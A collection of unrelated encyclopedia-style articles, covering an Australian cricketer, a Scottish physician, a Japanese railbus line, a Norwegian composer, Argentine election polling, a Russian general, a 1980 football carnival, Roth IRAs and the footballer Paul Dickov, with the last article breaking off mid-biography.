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Haydn Smart (born 26 November 1958) is an Australian cricketer. He played in one first-class match for South Australia in 1987/88.
See also
List of South Australian representative cricketers
References
External links
1958 births
Living people
Australian cricketers
South Australia cricketers
Cricketers from Hobart |
Patrick Anderson (fl. 9 May 1618 – 1 January 1635), was a physician and author.
Anderson was the author of 'The Colde Spring of Kinghorne Craig, his admirable and new tried properties so far foorth as yet are found true by experience' (1618), dedicated to John, earl of Mar; and a very rare book called 'Grana Angelica; hoc est, Pilularum hujus nominis insignis utilitas, quibus etiam accesserunt alia quædam paucula de durioris Alvi incommodis propter materiæ cognitionem, ac vice supplementi in fine adjuncta,’ Edinburgh, 12mo, 1635. The latter describes some mild aperient pills, the prescription for which Anderson says that he brought from Venice, which continued in 1843 to be sold in Edinburgh by the proprietor of an ancient patent.
In 1625 Anderson saw through the press a religious work, called 'The Countesse of Marres Arcadia,’ written by James Caldwoode, minister of Falkirk, and to it he prefixed a long dedicatory epistle addressed to the Countess of Mar, one of his patients. He wrote a history of Scotland in three folio volumes, preserved in manuscript in the Advocates' Library. After his death Anderson's friends published a satirical dramatic poem by him, entitled 'The Copie of a Baron's Court, newly translated by Whats-you-call-him, clerk to the same. Printed at Helicon beside Parnassus, and are to be sold in Caledonia.' This piece was reprinted in a limited edition in 1821, and to it an account of the author was prefixed. In several of his works Anderson is described as physician to Charles I.
References
17th-century Scottish people
17th-century Scottish medical doctors
17th-century Scottish writers
Scottish medical writers |
The was a railbus line in eastern Aomori Prefecture, Japan. Services on the railway began 1962 and ceased in 1997 due to financial hardship. It connected Noheji Station in the town of Noheji to Shichinohe Station in the town of Shichinohe.
Organization
The Nanbu Jūkan Railway was operated by the Nanbu Jūkan Company, a privately owned company. The majority of the railway facilities and tracks were owned by the company. The only exception to this was the section of the Tōhoku Main Line between Noheji Station and Nishichibiki Station that was shared between the company and the Japanese National Railways (later East Japan Railway Company (JR East)). The Nanbu Jūkan Railway originally shared the tracks free of charge, but the successor to Japanese National Railways began asking for compensation after that company was re-organized into the various JR companies.
Station list
History
The Nanbu Jūkan Railway was established in 1962 as a private railway by the Nanbu Jūkan Company in 1962 between Shichinohe and Nishichibiki. At first, its construction was subsidized by the municipal governments it would pass through, but it was ultimately funded by a steel company based in the city of Mutsu. The railway was extended to Noheji via the Tōhoku Main Line on 5 August 1968. The railway fell into financial trouble after many people chose to purchase and drive cars instead of riding the railbus; however the railway hoped that they could serve as connecting railway between the planned Shinkansen station at Shichinohe. Plans for the Tōhoku Shinkansen instead placed Shichinohe-Towada Station to the north of the existing station, away from the Nanbu Jūkan Railway. The private railway served the area until 5 May 1997 when railbus services stopped because of maintenance costs. The division of the company was officially closed on 1 August 2002. Shichinohe Station (now the headquarters of Nanbu Jūkan Company), some of the track and a railbus are preserved. The rest of the rail line has been removed or left in a state of decay.
See also
References
External links
Railbuses of Japan
Rail transport in Aomori Prefecture
1067 mm gauge railways in Japan
Railway lines opened in 1962
Railway lines closed in 2002
1962 establishments in Japan
2002 disestablishments in Japan |
Tore Sinding (1903 in Stavern – 1969 in Solbukta, Frogn) was a Norwegian pianist and composer.
He studied piano with Mary Barratt Due and Nils Larsen and organ with Arild Sandvold. Sinding also studied in Berlin, Vienna and Paris. His debut as a piano player was in 1922, as an organ player was in 1933 and as a composer was in 1945. He composed almost seventy songs, several piano pieces and the music of a ballett «Mot ballade» (after a short story by Hans E. Kinck). He was a well-respected pianist and piano teacher in his day.
Recordings
Songs and piano works Anne Felberg, Njål Sparbo, Geir Henning Braaten - piano QCD 2003
References
1903 births
1969 deaths
20th-century composers
Musicians from Stavern
People from Larvik |
This article contains polls on voters' intentions regarding the 2023 Argentine general election, which will elect the country's president and vice president for the 2023–2027 period.
First round
A candidate needs to win 45% of the vote, or win 40% of the vote while finishing more than 10 percentage points ahead of the second-place candidate in order to win the presidency in the first round and avoid the second round occurring. This was not the case here, as the leading candidate had 36.7% of the vote, so a second round has been scheduled for 19 November 2023.
Graph
By political coalition
2023
2021–2022
By candidate
After primary elections
After candidates definition
Before candidates definition
Hypothetical scenarios
Second round
A presidential candidate wins the second round by winning a simple majority of votes.
After the primaries
Before candidates definition
References
Opinion polling in Argentina
2023 elections in Argentina
Argentina |
Alexander Vasilevich Cheryachukin (1872 - May 12, 1944) was a Russian general, St. George cavalier, and member of the White movement. During the years of the Russian Civil War, he represented the interests of the Great Don Army in the face of the German armed forces.
Biography
Origin, education, pre-war service
He was born on March 18, 1873, in the village of Bogoyavlenskaya in the Pirozhskovsky farm. From the noblemen of the Don Army, he was the son of an official.
After graduating from the Don Cadet Corps on September 5, 1890, he entered the Mikhailovsky Artillery School. He was released in the 6th Life Guards Don Cossack Battery. On August 7, 1893, he was promoted to ensign; on August 7, 1897, he was promoted to sotnik.
In 1899 he graduated from the Nikolaev Academy of the General Staff in the 1st category. For his success in science, on June 6, 1899, he was promoted to captain with renaming as captain of the General Staff. Appointed to be at the headquarters of the Kiev military district.
From November 11, 1901, to November 11, 1902, the squadron qualified command passed in the 28th Novgorod Dragoon Regiment. November 21, 1902, he was appointed chief officer for special assignments at the headquarters of the 12th Army Corps. From March 17, 1904, he held the post of chief of the combat unit headquarters of the Kronstadt fortress. March 28, 1904, promoted to lieutenant colonel, December 6, 1908 - colonel.
On March 1, 1910, he was appointed chief of staff of the 10th Cavalry Division. December 11, 1913, received the command of the 11th Don Cossack Regiment.
World War I
He went to the front at the head of the 11th Don Cossack Regiment. At the beginning of 1915 he was appointed commander of the 2nd Zaamursky border cavalry brigade, with which on May 25, 1915, he stopped the Austro-German troops, threatening the encirclement of the 2nd cavalry corps with a horse attack in the area of Zaleshchikov (Galicia). For this case, by the Highest Order of December 30, 1915, he was awarded the Order of St. George 4th degree.
On June 16, 1915, he was appointed chief of staff of the 4th Cavalry Corps (Russian Empire), in this position he was until the fall of 1917. December 6, 1915, was promoted to major general. Highest Order of June 20, 1916, awarded the St. George's Arms
On September 25, 1917, he headed the 2nd Combined Cossack Division (Russian Empire), which he brought to the Don at the end of the year.
Civil War
On the Don, General Kaledin was appointed commander of the Western Front. After the death of Kaledin and the occupation by the Reds of the entire Don Cossack Region, he hid in the vicinity of the village of Grushevskaya.
In the spring of 1918 he took part in the general anti-Bolshevik uprising on the Don. In May 1918 he was sent by General Krasnov to Kiev as a permanent plenipotentiary representative of the Don Cossack army under Hetman Skoropadsky.
With the direct efforts of Cheryachukin, considerable stocks of weapons and ammunition were sent from Ukraine to the Don, some of which were transferred to the Volunteer Army.
In July-September 1918 Cheryachukin accompanied the Duke of Leuchtenberg to the Emperor Wilhelm II. Thanks to A. V. Cheryachukin, several hundred Russian officers captured by the Petliurists in Kiev were evacuated to Germany.
September 30, 1918, promoted to lieutenant general. Since December 1918 he was the ambassador of the Great Don Army in Poland.
In March 1920 he was appointed head of the Don Cadet Corps. Evacuated the corps to Egypt.
Exile
In 1922 he was with the cadet corps in Bulgaria. After the disbandment of the corps in 1923, he left for France. Lived in Paris, worked at the Panard automobile plant as a draftsman.
A. V. Cheryachukin played a prominent role in the social activities of the Russian emigration. Until 1930, he was chairman of the Union of Don Artillerymen in Paris. Voluntarily abandoned this honorable post and was relieved of it by order of General E.K. Miller in September 1930. He was the deputy of the Don Ataman, General A.P. Bogaevsky, and after his death he was one of the candidates for this post and headed the commission to perpetuate memory. He was chairman of the editorial board of the journal "Ataman Herald" (Paris, 1935-1939).
During the Second World War he left for Nice, where he died on May 12, 1944. Buried in the Russian cemetery Kokad.
Awards
Order of St. Stanislav 3rd degree (1901)
Order of St. Anna, 3rd degree (1904)
Order of St. Stanislav 2nd degree (1906)
Order of Saint Anna, 2nd degree (1911)
Order of Saint George 4th degree (December 30, 1915)
St. George's Arms (June 20, 1916)
References
1872 births
1944 deaths
Imperial Russian Army generals
Russian military personnel of World War I
People of the Russian Civil War |
The 1980 Adelaide State of Origin Carnival was the 21st Australian National Football Carnival, an Australian football competition. It was just the second carnival to take place under the State of Origin format.
Four states took part, the hosts South Australia, Tasmania, Victoria and the reigning carnival champions Western Australia. Football Park hosted all the fixtures, which took place in October after the football season had ended.
Results
Squads
Honours
All-Australians
At the completion of the tournament, the All-Australian team was named, based on performances during the carnival.
Leading goal-kickers
John Roberts (SA) - 9 goals
Kelvin Templeton (VIC) - 6 goals
Ken Judge (WA) - 5 goals
Garry Sidebottom (WA) - 5 goals
Tassie Medalist
Graham Cornes (SA)
References
Full Points Footy: 1980 Adelaide State of Origin Carnival
Australian rules football State of Origin
Adelaide State Of Origin Carnival, 1980 |
A Roth IRA is an individual retirement account (IRA) under United States law that is generally not taxed upon distribution, provided certain conditions are met. The principal difference between Roth IRAs and most other tax-advantaged retirement plans is that rather than granting a tax reduction for contributions to the retirement plan, qualified withdrawals from the Roth IRA plan are tax-free, and growth in the account is tax-free.
The Roth IRA was introduced as part of the Taxpayer Relief Act of 1997 and is named for Senator William Roth.
Overview
A Roth IRA can be an individual retirement account containing investments in securities, usually common stocks and bonds, often through mutual funds (although other investments, including derivatives, notes, certificates of deposit, and real estate are possible). A Roth IRA can also be an individual retirement annuity, which is an annuity contract or an endowment contract purchased from a life insurance company. As with all IRAs, the Internal Revenue Service mandates specific eligibility and filing status requirements. A Roth IRA's main advantages are its tax structure and the additional flexibility that this tax structure provides. Also, there are fewer restrictions on the investments that can be made in the plan than many other tax-advantaged plans, and this adds somewhat to their popularity, though the investment options available depend on the trustee (or the place where the plan is established).
The total contributions allowed per year to all IRAs is the lesser of one's taxable compensation (which is not the same as adjusted gross income) and the limit amounts as seen below (this total may be split up between any number of traditional and Roth IRAs. In the case of a married couple, each spouse may contribute the amount listed):
History
Originally called an "IRA Plus", the idea was proposed by Senator Bob Packwood of Oregon and Senator William Roth of Delaware in 1989. The Packwood–Roth plan would have allowed individuals to invest up to $2,000 in an account with no immediate tax deductions, and the earnings could later be withdrawn tax-free at retirement.
The Roth IRA was established by the Taxpayer Relief Act of 1997 (Public Law 105-34) and named for Senator Roth, its chief legislative sponsor. In 2000, 46.3 million taxpayers held IRA accounts worth a total of $2.6 trillion in value according to the Internal Revenue Service (IRS). Only a little over $77 billion of that amount was held in Roth IRAs. By 2007, the number of IRA owners had jumped to over 50 million taxpayers with $3.3 trillion invested.
In 1997, Roth wanted to restore the traditional IRA which had been repealed in 1986, and the upfront tax deduction that goes with it. Under congressional budget rules, which worked within a 10-year window, the revenue cost of giving that tax break to everyone was too high, so his staff limited deductible IRAs to people with very low income, and made Roth IRAs (initially with income limitations) available to others. This slid the revenue cost outside the 10-year window and got the legislation out from under the budget rules.
Economists have warned about exploding future revenue losses associated with Roth IRAs. With these accounts, the government is "bringing in more now, but giving up much more in the future," said economist and Forbes contributor Leonard Burman. In a study for The Tax Policy Center, Burman calculated that from 2014 to 2046, the Treasury would lose a total of $14 billion as a result of IRA-related provisions in the 2006 tax law. The losses stem from both Roth conversions and the ability to make nondeductible IRA contributions and then immediately convert them to Roths.
Differences from a traditional IRA
In contrast to a traditional IRA, contributions to a Roth IRA are not tax-deductible. Withdrawals are tax-free under certain conditions (for example, if the withdrawal is only on the principal portion of the account, or if the owner is at least 59½ years old). A Roth IRA has fewer withdrawal restrictions than traditional IRAs. Transactions inside a Roth IRA (including capital gains, dividends, and interest) do not incur a current tax liability.
Advantages
Direct contributions to a Roth IRA (principal) may be withdrawn tax and penalty-free at any time. Earnings may be withdrawn tax and penalty-free after 5 years if the condition of age 59½ (or other qualifying condition) is also met. Rollover, converted (before age 59½) contributions held in a Roth IRA may be withdrawn tax and penalty-free after 5 years. Distributions from a Roth IRA do not increase Adjusted Gross Income. This differs from a traditional IRA, where all withdrawals are taxed as ordinary income, and a penalty applies for withdrawals before age 59½. Even capital gains on stocks or other securities held in a regular taxable account, so long as they are held for at least a year, are generally treated more advantageously than traditional IRA withdrawals, being taxed not as Ordinary Income, but at the lower Long-Term Capital Gain rate. This potentially higher tax rate for withdrawals of capital gains from a traditional IRA is a quid pro quo for the deduction taken against ordinary income when putting money into the IRA.
Up to a lifetime maximum $10,000 in earnings, withdrawals are considered qualified (tax-free) if the money is used to acquire a principal residence for the Roth IRA owner. This principal residence must be acquired by the Roth IRA owner, their spouse, or their lineal ancestors and descendants. The owner or qualified relative who receives such a distribution must not have owned a home in the previous 24 months.
Contributions may be made to a Roth IRA even if the owner participates in a qualified retirement plan such as a 401(k). (Contributions may be made to a traditional IRA in this circumstance, but they may not be tax deductible.)
If the Roth IRA owner expects that the tax rate applicable to withdrawals from a traditional IRA in retirement will be higher than the tax rate applicable to the funds earned to make the Roth IRA contributions before retirement, then there may be a tax advantage to making contributions to a Roth IRA over a traditional IRA or similar vehicle while working. There is no current tax deduction, but money going into the Roth IRA is taxed at the taxpayer's current marginal tax rate, and will not be taxed at the expected higher future effective tax rate when it comes out of the Roth IRA. There is always risk, however, that retirement savings will be less than anticipated, which would produce a lower tax rate for distributions in retirement.
The Roth IRA does not require distributions based on age. All other tax-deferred retirement plans, including the related Roth 401(k), require withdrawals to begin by April 1 of the calendar year after the owner reaches the RMD (Required minimum distribution) age of 72 (prior to the year 2020, the RMD age was 70½). If the account holder does not need the money and wants to leave it to their heirs, a Roth can be an effective way to accumulate tax-free income. Beneficiaries who inherit Roth IRAs are subject to special minimum distribution rules.
Roth IRAs have a higher "effective" contribution limit than traditional IRAs, since the nominal contribution limit is the same for both traditional and Roth IRAs, but the post-tax contribution in a Roth IRA is equivalent to a larger pre-tax contribution in a traditional IRA that will be taxed upon withdrawal. For example, a contribution of the 2008 limit of $5,000 to a Roth IRA would have been equivalent to a traditional IRA contribution of $6667 (assuming a 25% tax rate at both contribution and withdrawal). In 2008, one could not contribute $6667 to a traditional IRA due to the contribution limit, so the post-tax Roth contribution may be larger.
On estates large enough to be subject to estate taxes, a Roth IRA can reduce estate taxes since tax dollars have already been subtracted. A traditional IRA is valued at the pre-tax level for estate tax purposes.
Most employer sponsored retirement plans tend to be pre-tax dollars and are similar, in that respect, to a traditional IRA, so if additional retirement savings are made beyond an employer-sponsored plan, a Roth IRA can diversify tax risk.
Unlike distributions from a regular IRA, qualified Roth distributions do not affect the calculation of taxable social security benefits.
Roth Conversions not only convert taxable IRA income to tax-free income, but if the IRA holds alternative assets such as REITs (Real Estate Investment Trusts), Leasing Programs, Oil and Gas Drilling Partnerships and Royalty Partnerships, a Fair Market Valuation (FMV) or "Substantially Discounted Roth-Conversion" may provide reductions in the conversion income tax by up to 75%, possibly more, depending on assets and the Fair Market Valuation.
Roth Conversions using the FMV or "Substantially Discounted Roth-Conversion" may reduce the estate tax attributed to IRA's on large estates by up to 75%, or more, depending on the assets held at the time of conversion.
Roth Conversions main benefit is in the conversion of taxable IRA income to tax-free Roth income, however Roth-Conversion income does not add to MAGI (Modified Adjusted Gross Income) hence reducing the taxpayers Medicare Part B Premiums (another tax).
FMV or "Substantially Discounted Roth-Conversion" may allow the taxpayer to reduce RMDs by up to 75%.
Disadvantages
Funds that reside in a Roth IRA cannot be used as collateral for a loan per current IRS rules and therefore cannot be used for financial leveraging or as a cash management tool for investment purposes.
Contributions to a Roth IRA are not tax deductible. By contrast, contributions to a traditional IRA are tax deductible (within income limits). Therefore, someone who contributes to a traditional IRA instead of a Roth IRA gets an immediate tax savings equal to the amount of the contribution multiplied by their marginal tax rate while someone who contributes to a Roth IRA does not realize this immediate tax reduction. Also, by contrast, contributions to most employer sponsored retirement plans (such as a 401(k), 403(b), Simple IRA or SEP IRA) are tax deductible with no income limits because they reduce a taxpayer's adjusted gross income.
Eligibility to contribute to a Roth IRA phases out at certain income limits. By contrast, contributions to most tax deductible employer sponsored retirement plans have no income limit.
Contributions to a Roth IRA do not reduce a taxpayer's adjusted gross income (AGI). By contrast, contributions to a traditional IRA or most employer sponsored retirement plans reduce AGI. Reducing one's AGI has a benefit (besides reducing taxable income) if it puts the AGI below some threshold to make the taxpayer eligible for tax credits or deductions that would not be available at the higher AGI with a Roth IRA. The amount of credits and deductions may increase as the taxpayer slides down the phaseout scale. Examples include the child tax credit, the earned income credit, the student loan interest deduction.
A Roth IRA contribution is taxed at the taxpayer's current income tax rate, which is higher than the income tax rate during retirement for most people. This is because most people have a lower income, that falls in a lower tax bracket, during retirement than during their working years. (A lower tax rate can also occur if Congress lowers income tax rates before retirement.) By contrast, contributions to traditional IRAs or employer-sponsored tax-deductible retirement plans result in an immediate tax savings equal to the taxpayer's current marginal tax bracket multiplied by the amount of the contribution. The higher the taxpayer's current marginal tax rate, the higher the potential disadvantage. However, this issue is more complicated because withdrawals from traditional IRA or employer sponsored tax deductible retirement plans are fully taxable, up to 85% of Social Security income is taxable, personal residence mortgage interest deduction decreases as the mortgage is paid down, and there may be pension plan income, investment income and other factors.
A taxpayer who pays state income tax and who contributes to a Roth IRA (instead of a traditional IRA or a tax deductible employer sponsored retirement plan) will have to pay state income taxes on the amount contributed to the Roth IRA in the year the money is earned. However, if the taxpayer retires to a state with a lower income tax rate, or no income taxes, then the taxpayer will have given up the opportunity to avoid paying state income taxes altogether on the amount of the Roth IRA contribution by instead contributing to a traditional IRA or a tax deductible employer sponsored retirement plan, because when the contributions are withdrawn from the traditional IRA or tax deductible plan in retirement, the taxpayer will then be a resident of the low or no income tax state, and will have avoided paying the state income tax altogether as a result of moving to a different state before the income tax became due.
The perceived tax benefit may never be realized. That is, one might not live to retirement or much beyond, in which case the tax structure of a Roth only serves to reduce an estate that may not have been subject to tax. To fully realize the tax benefit, one must live until one's Roth IRA contributions have been withdrawn and exhausted. By contrast, with a traditional IRA, tax might never be collected at all, such as if one dies before retirement with an estate below the tax threshold, or retires with income below the tax threshold. (To benefit from this exemption, the beneficiary must be named in the appropriate IRA beneficiary form. A beneficiary inheriting the IRA solely through a will is not eligible for the estate tax exemption. Additionally, the beneficiary will be subject to income tax unless the inheritance is a Roth IRA.) Heirs will have to pay taxes on withdrawals from traditional IRA assets they inherit, and must continue to take mandatory distributions (although they will be based on their life expectancy). It is also possible that tax laws may change by the time one reaches retirement age.
Double taxation
Double taxation may still occur within these tax sheltered investment plans. For example, foreign dividends may be taxed at their point of origin, and the IRS does not recognize this tax as a creditable deduction. There is some controversy over whether this violates existing Joint Tax Treaties, such as the Convention Between Canada and the United States of America With Respect to Taxes on Income and on Capital.
For Canadians with U.S. Roth IRAs: A 2008 rule provides that Roth IRAs (as defined in section 408A of the U.S. Internal Revenue Code) and similar plans are considered to be pensions. Accordingly, distributions from a Roth IRA (as well as other similar plans) to a resident of Canada will generally be exempt from Canadian tax to the extent that they would have been exempt from U.S. tax if paid to a resident of the U.S. Additionally, a resident of Canada may elect to defer any taxation in Canada with respect to income accrued in a Roth IRA but not distributed by the Roth IRA, until and to the extent that a distribution is made from the Roth IRA or any plan substituted therefor. The effect of these rules is that, in most cases, no portion of the Roth IRA will be subject to taxation in Canada.
However, where an individual makes a contribution to a Roth IRA while they are a resident of Canada (other than rollover contributions from another Roth IRA), the Roth IRA will lose its status as a "pension" for purposes of the Treaty with respect to the accretions from the time such contribution is made. Income accretions from such time will be subject to tax in Canada in the year of accrual. In effect, the Roth IRA will be bifurcated into a "frozen" pension that will continue to enjoy the benefit of the exemption for pensions and a non-pension (essentially a savings account) that will not.
Eligibility
Income limits
Congress has limited who can contribute to a Roth IRA based upon income. A taxpayer can contribute the maximum amount listed at the top of the page only if their Modified Adjusted Gross Income (MAGI) is below a certain level (the bottom of the range shown below). Otherwise, a phase-out of allowed contributions runs proportionally throughout the MAGI ranges shown below. Once MAGI hits the top of the range, no contribution is allowed at all; however, a minimum of $200 may be contributed as long as MAGI is below the top of the range. Excess Roth IRA contributions may be recharacterized into Traditional IRA contributions as long as the combined contributions do not exceed that tax year's limit. The Roth IRA MAGI phase out ranges for 2021 are:
Single filers: Up to $125,000 (to qualify for a full contribution); $125,000–$140,000 (to be eligible for a partial contribution)
Joint filers: Up to $198,000 (to qualify for a full contribution); $198,000–$208,000 (to be eligible for a partial contribution)
Married filing separately (if the couple lived together for any part of the year): $0 (to qualify for a full contribution); $0–$10,000 (to be eligible for a partial contribution).
The lower number represents the point at which the taxpayer is no longer allowed to contribute the maximum yearly contribution. The upper number is the point as of which the taxpayer is no longer allowed to contribute at all. People who are married and living together, but who file separately, are only allowed to contribute a relatively small amount.
However, once a Roth IRA is established, the balance in the plan remains tax-sheltered, even if the taxpayer's income rises above the threshold. (The thresholds are just for annual eligibility to contribute, not for eligibility to maintain a Roth IRA.)
To be eligible, one must meet the earned income minimum requirement. In order to make a contribution, one must have taxable compensation (not taxable income from investments). If one makes only $2,000 in taxable compensation, one's maximum IRA contribution is $2,000.
If a taxpayer's income exceeds the income limits, they may still be able to effectively contribute by using a "backdoor" contribution process (see Traditional IRA conversion as a workaround to Roth IRA income limits below).
Contribution limits
Contributions to both a Roth IRA and a traditional IRA are limited to the total amount allowed for either of them. Generally, the contribution cannot exceed your earned income for the year in question. The one exception is for a "spousal IRA" where a contribution can be made for a spouse with little or no earned income provided the other spouse has sufficient earned income and the spouses file a joint tax return.
Conversion rules
The government allows people to convert Traditional IRA funds (and some other untaxed IRA funds) to Roth IRA funds by paying income tax on any account balance being converted that has not already been taxed (e.g., the Traditional IRA balance minus any non-deductible contributions).
Prior to 2010, two circumstances prohibited conversions: Modified Adjusted Gross Income exceeding $100,000 or the participant's tax filing status is Married Filing Separately. These limitations were removed as part of the Tax Increase Prevention and Reconciliation Act of 2005.
Backdoor contributions
Regardless of income but subject to contribution limits, contributions can be made to a Traditional IRA and then converted to a Roth IRA. This allows for "backdoor" contributions where individuals are able to make Roth IRA contributions even if their income is above the limits.
One major caveat to the entire "backdoor" Roth IRA contribution process, however, is that it only works for people who do not have any pre-tax contributed money in IRA accounts at the time of the "backdoor" conversion to Roth; conversions made when other IRA money exists are subject to pro-rata calculations and may lead to tax liabilities on the part of the converter. In effect, one cannot choose the tax character of the contribution, as it must reflect the existing proportion of tax character in traditional IRAs. For example, a traditional IRA contains $10,000 post-tax and $30,000 pre-tax funds, it has 75% pre-tax character. Converting $10,000 into a Roth would lead to 75% ($7,500) of the contribution being considered taxable. The pro-rata calculation is made based on all traditional IRA contributions across all the individual's traditional IRA accounts (even if they are in different institutions).
Backdoor Roth IRA contributions were explicitly allowed by the Tax Cuts and Jobs Act of 2017. Prior to that, there was concern that the process would violate the step transaction doctrine that one cannot combine individually legal steps to achieve an outcome that would be illegal if done in a single step.
Distributions
Returns of regular contributions from Roth IRA(s) are always withdrawn tax and penalty-free. Eligible (tax and penalty-free) distributions of earnings must fulfill two requirements. First, the seasoning period of five years since the opening of the Roth IRA account must have elapsed, and secondly a justification must exist such as retirement or disability. The simplest justification is reaching 59.5 years of age, at which point qualified withdrawals may be made in any amount on any schedule. Becoming disabled or being a "first time" home buyer can provide justification for limited qualified withdrawals. Finally, although one can take distributions from a Roth IRA under the substantially equal periodic payments (SEPP) rule without paying a 10% penalty, any interest earned in the IRA will be subject to tax—a substantial penalty which forfeits the primary tax benefits of the Roth IRA.
Inherited Roth IRAs
When a spouse inherits a Roth IRA:
the spouse can combine the Roth IRA with his or her own Roth IRA
the spouse can make contributions and otherwise control the account
required minimum distributions do not apply
income tax does not apply to distributions
estate tax (if any) does not apply at the time of transfer
When a non-spouse inherits a Roth IRA:
the non-spouse cannot combine the Roth IRA with his or her own
the non-spouse cannot make additional contributions
required minimum distributions apply
income tax does not apply to distributions, if the Roth IRA was established for at least five years before the distribution occurs.
estate tax (if any) applies
In addition, the beneficiary may elect to choose from one of two methods of distribution. The first option is to receive the entire distribution by December 31 of the fifth year following the year of the IRA owner's death. The second option is to receive portions of the IRA as distributions over the life of the beneficiary, terminating upon the death of the beneficiary and passing on to a secondary beneficiary. If the beneficiary of the Roth IRA is a trust, the trust must distribute the entire assets of the Roth IRA by December 31 of the fifth year following the year of the IRA owner's death, unless there is a "Look Through" clause, in which case the distributions of the Roth IRA are based on the Single Life Expectancy table over the life of the beneficiary, terminating upon the death of the beneficiary. Subtract one from the "Single Life Expectancy" for each successive year. The age of the beneficiary is determined on 12/31 of the first year after the year that the owner died.
See also
Retirement plans in the United States
Comparison of 401(k) and IRA accounts – 401(k) & IRA comparisons (401(k) vs Roth 401( k) vs Traditional IRA vs Roth IRA)
Form 1099-R
Coverdell Education Savings Account – sometimes termed the "Roth IRA for Education", describes tax-sheltered savings accounts for college.
Substantially equal periodic payments (SEPP) – an exception to the age 59.5 rule
myRA - a 2014 Obama administration initiative based on the Roth IRA
Tax-free savings account in Canada since 2008
Individual savings account in the United Kingdom since 1999
References
External links
IRS Publication 590 (IRAs) (pdf)
Individual retirement accounts |
Paul Dickov (born 1 November 1972) is a Scottish former professional football manager and player; he currently works as a television pundit, namely for Manchester City TV.
Dickov played as a forward from 1990 to 2011, starting his career with Arsenal. He won the UEFA Cup Winners' Cup in 1994 with Arsenal, but struggled to hold a place in the first team and spent time on loan with Luton Town and Brighton & Hove Albion before moving to Manchester City in 1996. Over six seasons at the club, Dickov experienced two promotions and two relegations, playing in three different divisions. Dickov left in 2002 to join Leicester City, where he stayed for two seasons and, in 2004, he signed for Blackburn Rovers, and was part of the team which qualified for the UEFA Cup in 2005–06. Upon the expiry of his Blackburn contract in 2006, he rejoined Manchester City and later went on to play for Crystal Palace, Blackpool, Leicester City again, Derby County, and Leeds United.
Dickov made his full international debut for Scotland in 2000. In total he represented his country ten times, scoring one goal.
In June 2010 he became manager of Oldham Athletic, a position he held until February 2013. He was then manager of Doncaster Rovers from May 2013 to September 2015.
Club career
Arsenal
Born in Livingston, West Lothian, Dickov started playing football around the age of nine years playing for his local under-11 team Livingston United. Dickov joined the youth ranks of Arsenal in 1989, after playing for Scotland in the under-16 World Championship. First team chances were limited for Dickov under the management of George Graham, as he struggled to break into the Arsenal team who were rich in attacking talent. He was a member of Arsenal's squad during the first season of the Premier League, making his first team debut against Southampton on 20 March 1993 and scoring in end-of-season games against Crystal Palace and Tottenham. He then had loan spells at both Luton Town and Brighton & Hove Albion during the 1993–94 season, and was on the bench as Arsenal won the UEFA Cup Winners' Cup in 1994. Dickov left Arsenal to join Manchester City in 1996.
Manchester City
Dickov joined Manchester City on 22 August 1996 in a transfer valued between £750,000 and £1 million, the final signing of Alan Ball's Manchester City management. He made his debut as a substitute against Stoke City on 24 August, a 2–1 defeat which was Ball's final match. Dickov made his first Manchester City start in the next match, in a 2–1 win over Charlton Athletic. Dickov joined the club in a period of turmoil; in his first season at Manchester City he played under five different managers (three full-time appointments and two caretakers). A regular starter under Asa Hartford, Steve Coppell and Phil Neal, he played less frequently under Frank Clark, and finished the season with five goals from 25 League starts. At the start of the 1997–98 season, Dickov did not feature in the first team, but was restored to the starting line-up following injuries to Uwe Rösler and Lee Bradbury. Dickov finished the season as the City's top scorer with nine goals, but the club were relegated to the third tier of English football for the first time in their history.
Dickov, wearing the number 9 shirt, played a supporting role in a striking partnership with Shaun Goater in the 1998–99 season, scoring 16 goals in all competitions, including a hat-trick against Lincoln City. After a slow start, his form improved in the later part of the season, leading to City manager Joe Royle nicknaming him "the crocus" due to him coming to life in the spring months.
He scored an important equaliser against Wigan Athletic in the play off semi final first leg (which was also the last goal to be scored at Springfield Park). The sixteenth goal was particularly crucial, a 15-yard, top corner injury time equaliser in the final of the promotion playoffs against Gillingham. Dickov's 95th-minute goal took the game to extra time, and the Manchester team ultimately won to earn promotion to the First Division.
This goal, scored past Vince Bartram, the best man at Dickov's wedding, was voted City's Greatest Ever Goal in a 2005 poll conducted by Manchester City.
Dickov retained his place in the first team at the start of the 1999–2000 season. He started each of the first fifteen League games, despite suffering a facial injury on 26 September 1999 in which he lost a tooth. The run of starting appearances came to an end on 27 October, when he damaged knee ligaments in a match against Ipswich Town. During the subsequent absence, Manchester City signed Robert Taylor, and most of Dickov's appearances in the second half of the season were as a substitute. One of these substitute appearances was the final match of the season, a 4–1 win at Blackburn that clinched promotion to the Premier League.
When Manchester City returned to the Premier League for the 2000–01 season, it appeared that Dickov's chances of playing would be limited as City signed former FIFA World Player of the Year George Weah and Costa Rican international Paulo Wanchope. However, Dickov earned a place in the team, his performances attracted the attention of Scotland manager Craig Brown, who called him up to the Scotland squad for the first time.
City were relegated back into the First Division for the 2001–02 season and Kevin Keegan replaced Joe Royle as manager. Dickov found his first team opportunities at the club limited especially as the team had other strikers such as Paulo Wanchope, Shaun Goater and Darren Huckerby. Having fallen out of favour, on 22 February 2002 he moved to Leicester City for £150,000.
Leicester City
Dickov's Leicester debut came in a 3–0 defeat against Derby County. His first goals for Leicester came in his sixth appearance, when he scored both Leicester goals in a 2–1 victory against Blackburn Rovers, the club's first win for four months. However, Dickov only scored two more goals that season as Leicester finished bottom and were relegated.
He scored a career-high of 20 goals in the 2002–03 season as Leicester made an immediate return to the top flight, finishing runners-up in Division One behind Portsmouth.
He managed to score 13 goals in the 2003–04 season, but Leicester were relegated back to the First Division. On the final day of the 2003–04 season Leicester travelled to Dickov's former club, Arsenal, who were looking to make history by becoming the first English team since Preston North End to complete a top-flight league season unbeaten. Dickov scored the opening goal after 25 minutes, but Arsenal turned the game around to win 2–1 and become The Invincibles.
Dickov moved to Blackburn Rovers, declining an offer of an improved contract from Leicester and exercising a contractual clause which allowed him to join a Premier League club for a nominal fee.
Blackburn Rovers
Dickov debuted for Blackburn Rovers as a half-time substitute against West Bromwich Albion on 14 August 2004. He scored his first goal for the club in the following match, a 3–2 defeat to Southampton. Dickov was involved in the majority of matches in the 2004–05 season, until a knee injury caused him to miss the last few weeks of the season. He finished the season with ten league goals. In 2005–06, Dickov found it hard to retain a regular place in the side, with manager Mark Hughes having signed forwards Craig Bellamy and Shefki Kuqi during the summer. A red card against West Ham United caused him to miss most of the first month of the season. He had a run of first team games in the autumn but starting appearances became fewer as the season progressed. He left the club in the summer of 2006 following the expiry of his contract.
Return to Manchester City
